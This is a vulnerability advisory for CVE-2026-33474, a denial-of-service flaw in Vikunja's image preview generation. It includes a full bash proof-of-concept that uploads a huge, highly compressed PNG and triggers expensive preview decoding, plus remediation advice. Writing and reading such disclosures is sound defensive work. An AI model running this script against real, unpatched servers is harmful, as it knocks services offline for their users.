CVE-2026-33474: Vikunja Affected by DoS via Image Preview Generation
Summary - Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. - Affected code: - Decoding without bounds: taskattachment.go:GetPreview - Resizing path: resizeImage - Endpoint invoking preview: GetTaskAttachment - Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service. - CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Preconditions - API running locally (http://localhost:8080). - Task attachments enabled: taskattachmentsenabled=true in Info. - Any authenticated user with write access to a task.
How It Works - Preview generation decodes the full image via image.Decode and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize. - The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember.
Run The POC - Script: sh #!/usr/bin/env bash set -euo pipefail
BASEURL="${BASEURL:-http://localhost:8080}" USERNAME="${USERNAME:-dosuser}" EMAIL="${EMAIL:-dosuser@example.com}" PASSWORD="${PASSWORD:-StrongPass123!}" PROJECTTITLE="${PROJECTTITLE:-poc-dos-preview}" TASKTITLE="${TASKTITLE:-DoS preview test}" OUTDIR="${OUTDIR:-/tmp/vikunja-poc-dos}"
mkdir -p "$OUTDIR"
echo "[+] Checking instance info" curl -sS "$BASEURL/api/v1/info" | tee "$OUTDIR/info.json" >/dev/null if ! grep -q '"taskattachmentsenabled":true' "$OUTDIR/info.json"; then echo "[!] Task attachments disabled" exit 1 fi
echo "[+] Registering user (may already exist)" curl -sS -X POST "$BASEURL/api/v1/register" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","email":"'"$EMAIL"'","password":"'"$PASSWORD"'","language":"en"}' \ | tee "$OUTDIR/register.json" >/dev/null || true
echo "[+] Logging in" curl -sS -X POST "$BASEURL/api/v1/login" \ -H 'Content-Type: application/json' \ -d '{"username":"'"$USERNAME"'","password":"'"$PASSWORD"'"}' \ | tee "$OUTDIR/login.json" >/dev/null TOKEN="$(sed -n 's/."token"[[:space:]]:[[:space:]]"\([^"]\)"./\1/p' "$OUTDIR/login.json")" if [ -z "$TOKEN" ]; then echo "[!] Failed to get token" exit 1 fi
echo "[+] Creating project" curl -sS -X PUT "$BASEURL/api/v1/projects" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$PROJECTTITLE"'"}' \ | tee "$OUTDIR/project.json" >/dev/null PROJECTID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUTDIR/project.json")" if [ -z "$PROJECTID" ]; then echo "[!] Failed to get project id" exit 1 fi
echo "[+] Creating task" curl -sS -X PUT "$BASEURL/api/v1/projects/$PROJECTID/tasks" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"title":"'"$TASKTITLE"'"}' \ | tee "$OUTDIR/task.json" >/dev/null TASKID="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["id"])' "$OUTDIR/task.json")" if [ -z "$TASKID" ]; then echo "[!] Failed to get task id" exit 1 fi
echo "[+] Generating 10000x10000 PNG payload" python3 - <<'PY' from PIL import Image img = Image.new('RGB', (10000,10000), color=(0,0,0)) img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True) PY file "$OUTDIR/huge.png" || true ls -lh "$OUTDIR/huge.png" || true
echo "[+] Uploading attachment" curl -sS -X PUT "$BASEURL/api/v1/tasks/$TASKID/attachments" \ -H "Authorization: Bearer $TOKEN" \ -F "files=@$OUTDIR/huge.png" \ | tee "$OUTDIR/attach.json" >/dev/null ATTACHMENTID="$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' "$OUTDIR/attach.json")" if [ -z "$ATTACHMENTID" ]; then echo "[!] Failed to get attachment id" exit 1 fi
echo "[+] Requesting preview (xl)" /usr/bin/time -l curl -sS -o "$OUTDIR/previewxl.png" \ "$BASEURL/api/v1/tasks/$TASKID/attachments/$ATTACHMENTID?previewsize=xl" \ -H "Authorization: Bearer $TOKEN" 2> "$OUTDIR/timexl.txt" du -h "$OUTDIR/previewxl.png" || true file "$OUTDIR/previewxl.png" || true echo "[+] Timing and memory (from /usr/bin/time):" cat "$OUTDIR/timexl.txt" || true
echo "[+] Parallel preview requests (cache warm) x10" seq 1 10 | xargs -P 5 -I{} sh -c "curl -s -w '%{timetotal}\n' -o /dev/null \ '$BASEURL/api/v1/tasks/$TASKID/attachments/$ATTACHMENTID?previewsize=xl' \ -H 'Authorization: Bearer $TOKEN'" | tee "$OUTDIR/paralleltimes.txt" >/dev/null echo "[+] Done. Outputs in $OUTDIR"
- Uses curl and python3 (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.
Steps 1. Ensure the API is running on http://localhost:8080. 2. Execute: bash pocs/image-preview-dos/poc.sh 3. Outputs of interest: - /tmp/vikunja-poc-dos/timexl.txt: /usr/bin/time -l timing and memory for the preview request. - /tmp/vikunja-poc-dos/paralleltimes.txt: 10 parallel preview times with cache warmed. - /tmp/vikunja-poc-dos/previewxl.png: Generated 800×800 preview.
Environment Overrides - BASEURL: API base (default http://localhost:8080) - USERNAME, EMAIL, PASSWORD: credentials for the test user - PROJECTTITLE, TASKTITLE: names for test artifacts - OUTDIR: output directory (default /tmp/vikunja-poc-dos)
Expected Results - First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image. - Subsequent requests are faster due to caching. - Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.
Remediation - Enforce bounds prior to decode: - Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M). - Fail early by reading headers to extract dimensions before full decode. - Add per-user and per-attachment rate limiting for preview generation. - Pre-generate previews asynchronously with throttling and backpressure. - Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.
Notes - This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.
Other sources
Vikunja is an open-source self-hosted task management platform. Starting in version 1.0.0-rc0 and prior to version 2.2.0, unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. Version 2.2.0 patches the issue.
— MITRE